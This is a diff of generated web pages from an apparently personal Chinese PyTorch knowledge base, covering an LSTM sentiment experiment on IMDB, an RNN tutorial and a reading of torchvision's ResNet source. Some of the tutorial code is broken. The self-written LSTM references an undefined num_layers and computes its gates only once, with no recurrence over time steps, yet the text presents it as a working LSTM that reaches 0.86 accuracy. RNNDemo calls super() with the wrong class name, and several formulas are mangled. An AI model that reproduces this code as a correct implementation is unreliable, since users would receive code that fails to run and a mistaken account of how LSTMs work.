最后总的来看,LSTM 其实就是一个升级版本的的 RNN,他额外初始化了一个状态 $C$, 用来保存长期的记忆,控制远距离上的参数权重。而输出也基本类似于此。

+

LSTM 实战

+

实验说明​

+

完整代码实现可以点击这里下载。在完整代码中,我们共计使用了三个模型并对比了他们的效果,三个模型分别是:由我完全使用 nn.Linear 实现的 LSTM 模型、 使用 nn.LSTM 为基础的 LSTM 模型和使用 nn.RNN 为基础实现的 RNN 模型。

+

实验数据集采用 IMDB 数据集。主要由电影评论构成,长度不均,但是长度在 1000 左右的数据属于常见数据。数据集样本均衡,数共计 50000 个样本,训练和测试各有 25000 个样本,同时训练和测试的正负比例均为 1:1。

+

根据我们对 RNN 的了解,这样的长度是很难学习到有效的知识的,所以很适合比较 RNN 与 LSTM 之间的区别。

+

为了方便代码复现,在实现中借助了 torchtext 来完成数据下载及加载。

+

为了证明模型真的有学习到一定的内容,所以对比实验中部分参数可能存在部分区别,可以在本地调整到同一参数进行细致的对比实验。

+

模型实现​

+

我们在这里分析一下由我实现的 LSTM 模型,并以此了解 LSTM 模型。(ps:个人能力有限,没能实现 num_layers 和 Bi-LSTM 两个特点,此外可能实现存在其他问题,欢迎给予反馈)

+
# 定义基础模型
class LSTM(nn.Module):
def __init__(self, input_size, hidden_size, num_classes):
"""
args:
input_size: 输入大小
hidden_size: 隐藏层大小
num_classes: 最后输出的类别,在这个示例中,输出应该是 0 或者 1
"""
super(LSTM, self).__init__()
self.input_size = input_size
self.hidden_size = hidden_size
self.num_layers = num_layers
self.fc_i = nn.Linear(input_size + hidden_size, hidden_size)
self.fc_f = nn.Linear(input_size + hidden_size, hidden_size)
self.fc_g = nn.Linear(input_size + hidden_size, hidden_size)
self.fc_o = nn.Linear(input_size + hidden_size, hidden_size)
self.sigmoid = nn.Sigmoid()
self.tanh = nn.Tanh()
self.fc_out = nn.Linear(hidden_size, num_classes)
def forward(self, x):
# 初始化隐藏状态 -- 短期记忆
h_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)
# 初始化隐藏状态 -- 长期记忆
c_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)
# 输入与短期记忆相拼接
combined = torch.cat((x, h_t), dim=2)
# 记忆门 -- 输出矩阵内容为 0-1 之间的数字
i_t = self.sigmoid(self.fc_i(combined))
# 遗忘门 -- 输出矩阵内容为 0-1 之间的数字
f_t = self.sigmoid(self.fc_f(combined))
#
g_t = self.tanh(self.fc_g(combined))
# 输出门 -- 输出矩阵内容为 0-1 之间的数字
o_t = self.sigmoid(self.fc_o(combined))
# 长期状态 = 遗忘门 * 上一时刻的长期状态 + 记忆门* 当前记忆状态
c_t = f_t * c_t + i_t * g_t
# 隐藏状态 = 输出门 * 长期状态
h_t = o_t * self.tanh(c_t)
# 降维操作
h_t = F.avg_pool2d(h_t, (h_t.shape[1],1)).squeeze()
#
out = self.fc_out(h_t)
return out
+

超参数及参数说明​

+

MyLSTM 与 nn.LSTM​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称值
learning_rate0.001
batch_size32
epoch6(3)
input_size64
hidden_size128
num_classes2
+

此时: +MyLSTM 参数量: 99074 +nn.LSTM 参数量: 99328

+

由于我实现的 MyLSTM 与 nn.LSTM 有 254 的参数差,我本人并没能分析出来差别。 nn.LSTM 在实验时大概率比我的 MyLSTM 迭代更快,所以容易较早的过拟合,所以将其训练 epoch 砍半,也就是说 MyLSTM 使用 6 epoch 进行训练,而 nn.LSTM 使用 3 epoch 进行训练。两者可以达到基本相近的效果

+

另外在代码实现中 nn.LSTM 后面加了一个 nn.Linear 来实现二分类,参数量为 258, 所以 MyLSTM 和 LSTM 相差参数总量为 512。

+

nn.RNN​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称值
learning_rate0.0001
batch_size32
epoch12-18
input_size64
hidden_size128
num_classes2
+

此时: +nn.RNN 参数量: 25090

+

由于实验样本长度在 1000 上下, RNN 显示出来了极大的不稳定性,其中, 相较于 LSTM 更容易梯度爆炸、训练 epoch 更多、学习率需要调低等等问题,尽管如此依然不能保证稳定的良好结果。

+

举例来说,某学生学习阅读理解,要求根据文章内容回答文章的情感倾向,但是学生只喜欢看最后一句话,每次都根据最后一句话来回答问题,那么他基本上是等于瞎猜的,只能学到一点浅薄的知识。

+

实验结果​

+ + + + + + + + + + + + + + + +
MyLSTMnn.LSTMnn.RNN
0.860.800.67
+

关于梯度问题

+
    +
  • +

    RNN问题中,总的梯度是不会消失的。即便梯度越传越弱,那也是远处的梯度逐渐消失,而近距离的梯度不会消失,因此,梯度总和不会消失。RNN 梯度消失的真正含义是:梯度被近距离梯度所主导,导致模型难以学到远距离的依赖关系。

    +
  • +
  • +

    LSTM 上有多条信息流路径,其中,元素相加的路径的梯度流是最稳定的,而其他路径上与基本的 RNN 相类似,依然存在反复相乘问题。

    +
  • +
  • +

    LSTM 刚刚提出时不存在遗忘门。这时候历史数据可以在这条路径上无损的传递,可以将其视为一条 高速公路,类似于 ResNet 中的残差连接。

    +
  • +
  • +

    但是其他路径上, LSTM 与 RNN 并无太多区别,依然会爆炸或者消失。由于总的远距离梯度 = 各个路径的远距离梯度之和,因此只要有一条路的远距离梯度没有消失,总的远距离梯度就不会消失。可以说,LSTM 通过这一条路拯救了总的远距离梯度。

    +
  • +
  • +

    同样,总的远距离梯度 = 各个路径的远距离梯度之和,虽然高速路上的梯度流比较稳定,但是其他路上依然存在梯度消失和梯度爆炸问题。因此,总的远距离梯度 = 正常梯度 + 爆炸梯度 = 爆炸梯度,因此 LSTM 依然存在梯度爆炸问题。 但是由于 LSTM 的道路相比经典 RNN 来说非常崎岖, 存在多次激活函数,因此 LSTM 发生梯度爆炸的概率要小得多。实践中通常通过梯度剪裁来优化问题。

    +
  • +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/RNN详解及其实现/index.html b/docs/个人知识库/AI/PyTorch/第十章/RNN详解及其实现/index.html new file mode 100644 index 0000000..85e0cd0 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/RNN详解及其实现/index.html @@ -0,0 +1,116 @@ + + + + + +RNN详解及其实现.md | wjlin0 + + + + + + + +

RNN详解及其实现.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

文章结构

+

提及 RNN,绝大部分人都知道他是一个用于序列任务的神经网络,会提及他保存了时序信息,但是,为什么需要考虑时序的信息?为什么说 RNN 保存了时序的信息?RNN又存在哪些问题? 本篇内容将按照以下顺序逐步带你摸清 RNN 的细节之处,并使用 PyTorch 来完成一个自己的文本分类模型。

+
    +
  1. 为什么需要 RNN?
  2. +
  3. RNN 理解及其简单实现。
  4. +
  5. 用 RNN 完成文本分类任务。
  6. +
  7. RNN 存在的问题。
  8. +
+

为什么需要 RNN?

+

在现实生活的世界中,有很多的内容是有着前后关系的,比如你所阅读的这段文字,他并不是毫无理由的随机组合,而是我构思之后按顺序写下的一个个文字。除了文字之外,例如人的发音、物品的价格的曲线、温度变化等等,都是有着前后顺序存在的。

+

很明显,当知道了前面的信息,就可以对后面的信息进行合理的预测。比如,前十天温度都只有20度,明天的温度无论如何不可能零下;这个商品一年来价格都在30左右浮动,明天我去买他的时候,准备40就足够了;老师很好的表扬了你,紧跟着说了一个但是,你就知道他的内容要开始转折了。这就是隐藏在日常生活中的序列信息,因为已经知道了前面发生的内容,所以才可以推理后面的内容。

+

那么,可以用传统的多层感知机来处理序列问题吗?按照基本的多层感知机模型方案来实现,应该是这样的:将序列输入固定成一个 $d$ 维向量,就可以送入多层感知机进行学习,形如公式: +$$ +\mathbf{H} = \phi(\mathbf{X} \mathbf{W}{xh} + \mathbf{b}{h}) +$$ +公式中, $\phi$ 表示激活函数,$\mathbf{X} \in \mathbb{R}^{n \times d}$ 表示一组小批量样本,其中 $n$ 是样本大小, $d$ 表示输入的特征维度。:$\mathbf{W}_{xh} \in \mathbb{R}^{d \times h}$表示模型权重参数,$d \in \mathbb{R}^{1 \times h}$表示模型偏置。最后可以得到隐藏层输入:$\mathbf{H} \in \mathbb{R}^{n \times h}$,其中 $h$ 表示隐藏层大小。

+

紧接着,模型可以使用下面的公式进行计算,得到输出: +$$ +\mathbf{O} = \mathbf{H}\mathbf{W}_{hq} + \mathbf{b}_q +$$ +其中,$\mathbf{O} \in \mathbb{R}^{n \times q}$ 为模型输出变量,$q$ 表示输出层向量,由于本次的任务是一个文本分类任务,那这里 $q$ 就表示文本类别,可以使用 $\mathbf{Softmax(O)}$ 来进行概率预测。

+

但是,上面的流程有一个很明显的前置条件:固定成 $d$ 维向量,也就是说,传统的多层感知机,是不能对变长序列进行处理的。但是,在序列任务中,序列长短很明显是并不相同的,不仅需要用一天的数据预测明天的结果,也可能需要拿一年的数据预测明天的结果。在这样的情况下,如果还想要使用传统的多层感知机,就会面临着一个巨大的问题:如何将一天的内容与一年的内容变化成相同的 $d$ 维向量?

+

除此之外,序列信息可能还有另外一个情况:某些信息可能出现在序列的不同位置。虽然信息出现在不同的位置,但是他可能表达出了相同的含义。

+

举例来说:当我们和老师谈话时,如果他表扬了我们半小时,然后说:"但是...",我们往往是不担心的,因为他可能只是为了指出一些小问题。如果他刚刚表扬了一句话,紧接着就说“但是”,那我们就必须做好面对半小时的狂风暴雨。还有另外一种可能,老师可能连续批评你很久,然后使用“但是”转折,你就会在这时候如释重负,因为你知道这场谈话就快要结束了。这就是我们根据前文(表扬的内容和时间),在老师说出"但是"的时候,所作出的判断。

+

上面提到的两个问题,使用多层感知机本身似乎难以解决,但是所幸,RNN 从一个更常规的思路出发来解决这个问题:记住之前看到的内容,并结合当前看到的内容,来预测之后可能的内容。

+

RNN 理解及其简单实现

+

根据开篇的内容,相信你已经可以简单的理解为什么传统的多层感知机无法很好的解决序列信息,接下来我们开始理解,RNN 如何记忆之前的内容的。

+

在这里,我先放出 RNN 的公式,请将其与多层感知机公式进行对比: +$$ +\mathbf{H}t = \phi(\mathbf{X}t \mathbf{W}{xh} + \mathbf{H}{t-1} \mathbf{W}{hh} + \mathbf{b}h). +$$ +可以看到,与上一个公式相比,这里最明显的一点是多了一个 $\mathbf{H}{t-1} \mathbf{W}{hh}$ ,从公式上似乎很好理解,$\mathbf{H}_{t-1}$ 表示着前一时刻的隐藏状态,表示的是之前看到的内容,然后加上当前时刻的输入 $\mathbf{X}t$,就可以输出当前时刻的隐藏结果 $\mathbf{H}{t}$。在得到隐藏结果后,它就可以被用于下一步的计算。

+

当然,这个迭代过程也可能随时终止,如果将得到的隐藏结果用于输出,便可以直接得到输出结果,公式表达为: +$$ +\mathbf{O} = \phi(\mathbf{H}{t} \mathbf{W}{hq} + \mathbf{b}_q). +$$

+

可以看到,公式四与公式二极其相似,仅有隐藏状态 $\mathbf{H}$ 略有不同。

+

此时,根据以上公式及其理解,已经可以构建一个简单的 RNN 模型了:

+
class RNNDemo(nn.Module):
def __init__(self, input_size, hidden_size, output_size):
super(CharRNNClassify, self).__init__()

self.hidden_size = hidden_size
# 计算隐藏状态 H
# 因为要用以下一次计算,所以输出维度应该是 hidden_size
self.i2h = nn.Linear(input_size + hidden_size, hidden_size)
# 输出结果 O
self.i2o = nn.Linear(input_size + hidden_size, output_size)
self.softmax = nn.LogSoftmax(dim=1)
def forward(self, input, hidden):
# 将 X 和 Ht-1 合并
combined = torch.cat((input, hidden), 1)
# 计算 Ht
hidden = self.i2h(combined)
# 计算当前情况下的输出
output = self.i2o(combined)
# 分类任务使用 softmax 进行概率预测
output = self.softmax(output)
# 返回预测结果 和 当前的隐藏状态
return output, hidden
def initHidden(self):
# 避免随机生成的 H0 干扰后续结果
return torch.zeros(1, self.hidden_size)
+

辅助代码理解:根据公式三可知,$\mathbf{W}{xh}$ 和 $\mathbf{W}{hh}$ 在输入阶段时两者互不影响,所以在 self.i2h = nn.Linear(input_size + hidden_size, hidden_size) 中对输入的维度进行扩容,前 input_size 与公式 $\mathbf{W}{xh}$ 对应,而后面的 hidden_size 则是和 $\mathbf{W}{hh}$ 对应。

+

阅读代码之后,请根据代码和公式,来回忆第一部分提出的两个问题,通过回答这两个问题,就可以进一步的分析 RNN。

+

第一个问题是对于不同的序列长度,如何进行处理其向量表示:

+

从公式中可以看到,RNN 并不要求不同的序列表示成相同的维度,而是要求序列中的每一个值,表示成为相同的维度,这样,我们可以将在 $t$ 时刻输入的值视为的 $\mathbf{X}t$,并且结合之前时刻输入并计算得来的隐藏状态 $\mathbf{H}{t-1}$,得到当前时刻的结果,这样无论序列实际长度如何,我们随时可以在想要中断的时候将隐藏状态转变成输出的结果,甚至我们可以在输入的同时,得到输出的结果。 +【图片,待补充】

+

第二个问题,某些信息可能出现在序列的不同位置,但是其表达的含义是相同的:

+

对于这个问题,单独查看公式与代码可能不太好理解,但是可以从卷积神经网络中得到一定的灵感。

+

卷积神经网络具有平移等变性,也就是说输入的 $\mathbf{X}$ 不会因为位置的变化而导致输出的不同,这得益于卷积核使用了参数共享,无论图片哪个位置进行输入,只要卷积核的参数不变,输入值就不变,其结果就不会发生变化。

+

扭回头来看 RNN 中,其 $\mathbf{X}$ 与 $\mathbf{H}$ 所使用的权重矩阵一直是一个,也就是说 $\mathbf{W}{xh}$ 和 $\mathbf{W}{hh}$ 是参数共享的,那么无论从序列的哪个位置进行输入,只要输入内容完全一样,其输出结果也就是完全一样的的。

+

在理解了 RNN 来龙去脉之后,接下来开始从 RNN 的在实际文本分类中进行更深入的分析。(注:该样例源自 Torch 官方教程)。

+

RNN 完成文本分类任务

+

完成一个基本的算法任务,有以下流程:数据分析、数据转换、构建模型、定义训练函数、执行训练、保存模型、评估模型。

+

这里摘取官方教程中部分关键代码进行讲解,可以直接点击这里直接下载官方 notebook进行训练。训练所用数据位于这里。

+

在 notebook 第一个可执行 cell 中,首先定义了可用字符 all_letters 和 可用字符数量 n_letters 。同时,将下载的数据转为 ASCII 编码,使用 Dict l类型进行存储。其保存格式为:{language: [names ...]}。

+

在第三个 cell 中,定义了三个方法,主要目的是将由 $n$ 个字符组成的句子变成一个 $n \times d$ 的向量,其中 $d$ 表示字符特征,在这里使用 One-Hot 编码。由于 One-Hot 编码形为 $1 \times n_letters$,则最终形状为 $n \times 1 \times n_letters$。

+

第四个 Cell 中,定义了基本的 RNN 模型的代码与上方代码一致,并设置隐藏层大小为128。接下来的第五个和第六个可执行 Cell中,对于 RNN 进行简单的测试。

+

在这里,简单的讲解第六个 Cell,第六个 Cell 代码如下:

+
# 将 Albert 转为 6 * 1 * n_letters 的 Tensor
input = lineToTensor('Albert')
# 设置 h0 全零的原因在上面提到过
hidden = torch.zeros(1, n_hidden)
# 获取 output 和 h1
output, next_hidden = rnn(input[0], hidden)
print(output)
+

第三行中 rnn(input[0], hidden),输入了首字母 也就是 'A' 的 One-Hot 编码,输出 output 是下一个字符可能是什么的概率,而 next-hidden 则是 用于搭配 input[1] 进行下一步输入训练的模型。

+

跳过七八九三个 Cell 后,我们再对 train 所在的 Cell 进行分析,下面是相关代码:

+
# 设置学习率
learning_rate = 0.005
# 输入参数中, categor_tensor 表示类别,用以计算 loss
# line_tensor 是由一句话所转变的 tensor, shape: n * 1 * n_letter
def train(category_tensor, line_tensor):
# 设置 H0
hidden = rnn.initHidden()
# 梯度清零
rnn.zero_grad()
# 将字符挨个输入
for i in range(line_tensor.size()[0]):
output, hidden = rnn(line_tensor[i], hidden)
# 计算损失
loss = criterion(output, category_tensor)
# 梯度回传
loss.backward()

# Add parameters' gradients to their values, multiplied by learning rate
# 这里其实是一个手动的优化器 optimizer
for p in rnn.parameters():
p.data.add_(p.grad.data, alpha=-learning_rate)

return output, loss.item()
+

结合注释,进一步观察代码,可以看到,对于一个变长序列,在输入最后一个字符之前,都使用 hidden 作为输出用于下一步的计算,也就是将历史信息带入下一轮训练中去,而在最后一个字符输入结束后,使用 outpt 作为输出,进行文本分类的预测。

+

在 train 中的代码进行了对一句话进行了单独的训练,而实际过程中,我们要对多个句子进行训练,在示例代码中,采用随机采样法,从全部数据中随机提取一句话进行训练,并得到最终结果:

+
import time
import math
# 迭代次数
n_iters = 100000
# 输出频率
print_every = 5000
# loss计算频率
plot_every = 1000

# Keep track of losses for plotting
current_loss = 0
all_losses = []

def timeSince(since):
now = time.time()
s = now - since
m = math.floor(s / 60)
s -= m * 60
return '%dm %ds' % (m, s)
# 开始时间
start = time.time()

for iter in range(1, n_iters + 1):
# 使用随机采样提取一句话及其标签
category, line, category_tensor, line_tensor = randomTrainingExample()
# 训练
output, loss = train(category_tensor, line_tensor)
# 计算loss
current_loss += loss

# Print iter number, loss, name and guess
# 输出阶段结果
if iter % print_every == 0:
guess, guess_i = categoryFromOutput(output)
correct = '✓' if guess == category else '✗ (%s)' % category
print('%d %d%% (%s) %.4f %s / %s %s' % (iter, iter / n_iters * 100, timeSince(start), loss, line, guess, correct))

# Add current loss avg to list of losses
# 保存阶段性 loss
if iter % plot_every == 0:
all_losses.append(current_loss / plot_every)
current_loss = 0
+

到这里,RNN 训练的代码可以说讲解结束了,保存以及推理在理解了训练的过程上并不算难事,所以不再进行讲解。

+

接下来再根据文本分类任务对 RNN 进行一次分析。可以看到,在本次任务中,一个单独的词作为一个序列,每个词的长短不一并不会影响 RNN 的训练过程,而序列中的值,则是字符,每个字符都构成了相同的向量: $1 \times d$ ,这使得训练的过程也比较的统一。

+

再简单的举一反三,可以结合之前所学的 word2vec、Glovec 等模型将词语转为向量,将一句话转为一个序列,每个词转为序列中的一个值,这样的话,就可以对一句话进行文本分类了。

+

RNN 存在的问题

+

前面讲解了 RNN 是如何解决简单神经网络无法处理序列问题的,但是 RNN 是否就完美无缺?能应用于全部的序列任务了呢?答案当然是否定的。

+

这是由于 RNN 存在一个巨大的缺陷:梯度爆炸与梯度消失。

+

重新审查代码与公式,可以很轻松的发现,在序列达到末尾时,我们才需要计算损失与进行梯度回传,此时将 $\mathbf{H}t$ 展开,其内部存在 $\mathbf{W}{hh} \times \mathbf{H}{t-1}$。而将 $\mathbf{H}{t-1}$ 展开,也存在一个 $\mathbf{W}{hh}$,那么很明显 如果 $\mathbf{W}{hh}$ 大于 1,在经过 $t$ 次连乘之后会产生梯度爆炸,如果 $\mathbf{W}{hh}$ 小于 1,在经过 $t$ 次连乘之后又会产生梯度消失。同理,在 $\mathbf{W}{xh}$ 上,也存在这样的依赖关系,也会导致梯度爆炸或者消失。

+

梯度的消失也可以这样思考:前方节点的隐藏信息总和占了 0.5,而当前节点隐藏信息占了 0.5,随着序列长度的增加,位于开始部分节点的隐藏信息占比几乎是指数型下降,从 1/2 到 1/4 到 1/8,以此类推。可以参考下图尝试理解。因此,在 RNN 中,梯度消失就成了一个比梯度爆炸更关注的难题,因为这使得模型只能记得离自己最近的几个节点的状态,而很难考虑更远一步的状态,无法更好的关联上下文信息。

+

为了解决这个问题,我们可以考虑使用 梯度剪裁的方式保证梯度传递过程中不大于1,从而使得梯度不会爆炸,但是,我们无法阻止梯度的消失。当然,也可以查看下一篇,针对 RNN 进行优化的 LSTM、GRU 等算法

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/ResNet源码解读/index.html b/docs/个人知识库/AI/PyTorch/第十章/ResNet源码解读/index.html new file mode 100644 index 0000000..570a60d --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/ResNet源码解读/index.html @@ -0,0 +1,142 @@ + + + + + +ResNet源码解读.md | wjlin0 + + + + + + + +

ResNet源码解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

ResNet源码解读

+

本文对残差神经网络(ResNet)的源码进行解读。残差神经网络是由微软研究院的何恺明、张祥雨、任少卿、孙剑等人提出的。它的主要贡献是发现了在增加网络层数的过程中,‎随着训练精度(Training accuracy)‎逐渐趋于饱和,继续增加层数,training accuracy 就会出现下降的现象,而这种下降不是由过拟合造成的。他们将这一现象称之为“退化现象(Degradation)”,并针对退化现象发明了 “快捷连接(Shortcut connection)”,极大的消除了深度过大的神经网络训练困难问题。神经网络的“深度”首次突破了100层、最大的神经网络甚至超过了1000层。(在此,向已故的孙剑博士表示崇高的敬意)

+

通过本文你将学习到:

+
    +
  • +

    梯度消失/爆炸的简介

    +
  • +
  • +

    代码里面为什么要设计BasicBlock和Bottleneck两种结构

    +
  • +
  • +

    代码里面的expansion作用

    +
  • +
+

1 基本介绍​

+

随着卷积神经网络的出现,人们发现多层卷积或者全连接网络的效果大于单层卷积或者全连接网络。于是很多人潜意识认为网络的层数越多,其效果就会越好。但是当时微软研究院的何恺明、张祥雨、任少卿、孙剑等人发现加深网络的深度后,整个网络的效果反而变差了许多。他们认为很深的网络无法训练的原因可能是网络在信息传递的时候或多或少会存在信息丢失,损耗等问题,同时还可能出现梯度消失或者梯度爆炸现象。针对这个问题,他们提出了ResNet以期望解决这个问题,ResNet的出现也让神经网络逐渐真正走向深度神经网络。ResNet最大的贡献在于添加了shortcut connection将输入直接连接到后面的层,一定程度缓解了梯度消失和梯度爆炸并提高了深度神经网络的效果。接下来我们详细的解释一下梯度消失和梯度爆炸。

+

梯度消失和梯度爆炸的根源主要是因为深度神经网络结构以及反向传播算法,目前优化神经网络的方法都是基于反向传播的思想,即根据损失函数计算的误差通过反向传播的方式,指导深度网络权值的更新。误差梯度是神经网络训练过程中计算的方向和数量,用于以正确的方向和合适的量更新网络权重。 在深层网络或循环神经网络中,误差梯度可在更新中累积,变成非常大的梯度,然后导致网络权重的大幅更新,并因此使网络变得不稳定。在极端情况下,权重的值变得非常大,以至于溢出,导致 NaN 值。 网络层之间的梯度(值大于 1.0)重复相乘导致的指数级增长会产生梯度爆炸。 在深度多层感知机网络中,梯度爆炸会引起网络不稳定,最好的结果是无法从训练数据中学习,而最坏的结果是出现无法再更新的 NaN 权重值。

+

而在某些情况下,梯度会变得非常小, 网络层之间的梯度(值小于 1.0)重复相乘导致的指数级变小会产生梯度消失。在最坏的情况下,这可能会完全停止神经网络的进一步训练。例如,传统的激活函数(如双曲正切函数)具有范围(0,1)内的梯度,反向传播通过链式法则计算梯度。这样做的效果是,用这些小数字的n乘以n来计算n层网络中“前端”层的梯度,这意味着梯度(误差信号)随n呈指数递减,而前端层的训练非常缓慢。最终导致更新停滞。

+

2 源码解读​

+

为了帮助大家对ResNet有更好的理解,我们使用torchvision的ResNet源码进行解读。

+

2.1 卷积核的封装​

+

在代码的开始,首先封装了3x3和1x1的卷积核,这样可以增加代码的可读性。除了这种代码写法外,还有许多深度学习代码在开始也会将卷积层,激活函数层和BN层封装在一起,同样是为了增加代码的可读性。

+
def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:
"""3x3 convolution with padding"""
return nn.Conv2d(
in_planes,
out_planes,
kernel_size=3,
stride=stride,
padding=dilation,
groups=groups,
bias=False,
dilation=dilation,
)


def conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:
"""1x1 convolution"""
return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)
+

2.2 基本模块的设计​

+

ResNet网络是由很多相同的模块堆叠起来的,为了保证代码具有可读性和可扩展性,ResNet在设计时采用了模块化设计,针对不同大小的ResNet,书写了BasicBlock和BottleNeck两个基本模块。这种模块化的设计在现在许多常见的深度学习代码中我们可以经常看到。

+

ResNet常见的大小有下图的ResNet-18,ResNet-34,ResNet-50、ResNet-101和ResNet-152,其中网络后面的数字代表的是网络的层数。

+

expansion

+

为了帮助大家更好的理解,我们以ResNet101为例。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
layer_name次数
conv1卷积1次
conv2_x卷积3 x 3 = 9次
conv3_x卷积4 x 3 = 12次
conv4_x卷积23 x 3 = 69次
conv5_x卷积3 x 3 = 9次
fcaverage pool 1次
合计1 + 9 + 12 + 69 + 9 + 1 = 101次
+

观察上面各个ResNet的模块,我们可以发现ResNet-18和ResNet-34每一层内,数据的大小不会发生变化,但是ResNet-50、ResNet-101和ResNet-152中的每一层内输入和输出的channel数目不一样,输出的channel扩大为输入channel的4倍,除此之外,每一层的卷积的大小也变换为1,3,1的结构。基于这个发现,我们可以将ResNet-18和ResNet-34的构成模块当作一类,ResNet-50、ResNet-101和ResNet-152这三类网络的构成模块当作一类。事实上,torchvision的源码也是基于这种设计思想,使用如下图的BasicBlock(左)和BottleNeck(右)模块,并且为了控制输入和输出的通道数目的变化,在代码中输出的通道维度也通过expansion进行控制,两个block类输入一个通道为in_planes维的度特征图,输出一个planes*block.expansion维的特征图,其中planes的数目大小等于in_planes。除此以外,代码右侧的曲线就是本文最重要的shortcut支路,该支路上的downsample操作是为了对shortcut支路进行大小或维度上的调整,以希望执行相加操作

+

block

+

2.2.1 Shortcut Connection.​

+

这里再分析一下shortcut connection:

+

shortcut

+

shortcut connection也就是所谓的“抄近道”,它有两种方式,其一为同等维度的映射,即输入输出直接相加(即上图中的F(x) + x),另一种为不同维度的映射,这时候就需要给x补充一个线性映射来匹配维度。

+

比如下面这个图:

+ +

左:VGG-19模型,作为参考。 中:一个有34个参数层的普通网络。 右:一个有34个参数层的残差网络(即resnet34)

+

在上图最右侧的路径中,我们可以很明显的看到shortcut connection加入了网络之中,同时,图中也很明显的可以看到,实线部分就是进行了单纯的F(x)+x操作,而虚线部分,第一个卷积层的stride是2(那个/2的意思就是stride是2);同时注意到深度也发生了变换,channel数目增加一倍(扩大两倍),这样F(x)的分辨率比x小一半,厚度比x大一倍。在这样的shortcut connection中,就需要补充线性映射来增加维度。在ResNet中,作者使用了1 x 1的卷积核来达到这个目的。

+

另外,论文中又提到说:“……where both designs have similar time complexity.” 既然BasicBlock和Bottleneck二者的时间复杂度类似,那么为什么还要额外设计一个Bottleneck结构呢?

+

根据前面的叙述我们知道,BasicBlock结构比传统的卷积结构多了一个shortcut支路,用于传递低层的信息,使得网络能够训练地很深。而BottleNeck先通过一个1x1的卷积减少通道数,使得中间卷积的通道数减少为1/4;中间的普通卷积做完卷积后输出通道数等于输入通道数;第三个卷积用于恢复通道数,使得BottleNeck的输出通道数等于BottleNeck的输入通道数。**换句话说,这两个1x1卷积有效地减少了卷积的参数个数和计算量,同时减少了中间特征图的通道数,使单个Block消耗的显存更少,在较深的网络中BottleNeck会在参数上更加节约,这样可以有利于构建层数更多的网络,同时还能保持性能的提升。**所以resnet50, resnet101和resnet152使用了另外设计的BottleNeck结构。

+

2.2.2 BasicBlock​

+

BasicBlock模块用来构建resnet18和resnet34

+
class BasicBlock(nn.Module):
expansion: int = 1

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
if groups != 1 or base_width != 64:
raise ValueError("BasicBlock only supports groups=1 and base_width=64")
if dilation > 1:
raise NotImplementedError("Dilation > 1 not supported in BasicBlock")
# Both self.conv1 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv3x3(inplanes, planes, stride)
self.bn1 = norm_layer(planes)
self.relu = nn.ReLU(inplace=True)
self.conv2 = conv3x3(planes, planes)
self.bn2 = norm_layer(planes)
self.downsample = downsample
self.stride = stride

def forward(self, x: Tensor) -> Tensor:
identity = x # x 给自己先备份一份

out = self.conv1(x) # 对x做卷积
out = self.bn1(out) # 对x归一化
out = self.relu(out) # 对x用激活函数

out = self.conv2(out) # 对x做卷积
out = self.bn2(out) # 归一化

if self.downsample is not None:
identity = self.downsample(x)

out += identity # 进行downsample
out = self.relu(out)

return out
+

2.2.3 BottleNeck​

+

BottleNeck模块用来构建resnet50,resnet101和resnet152

+
class Bottleneck(nn.Module):
# Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)
# while original implementation places the stride at the first 1x1 convolution(self.conv1)
# according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.
# This variant is also known as ResNet V1.5 and improves accuracy according to
# https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.

expansion: int = 4 # 对输出通道进行倍增

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
width = int(planes * (base_width / 64.0)) * groups
# Both self.conv2 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv1x1(inplanes, width)
self.bn1 = norm_layer(width)
self.conv2 = conv3x3(width, width, stride, groups, dilation)
self.bn2 = norm_layer(width)
self.conv3 = conv1x1(width, planes * self.expansion)
self.bn3 = norm_layer(planes * self.expansion)
self.relu = nn.ReLU(inplace=True)
self.downsample = downsample
self.stride = stride

# Bottleneckd forward函数和BasicBlock类似,不再额外注释
def forward(self, x: Tensor) -> Tensor:
identity = x

out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)

out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)

out = self.conv3(out)
out = self.bn3(out)

if self.downsample is not None:
identity = self.downsample(x)

out += identity
out = self.relu(out)

return out
+

我们在这里再对代码中expansion的作用做一个说明,我们可以重新回顾一下下面这张图。

+

+

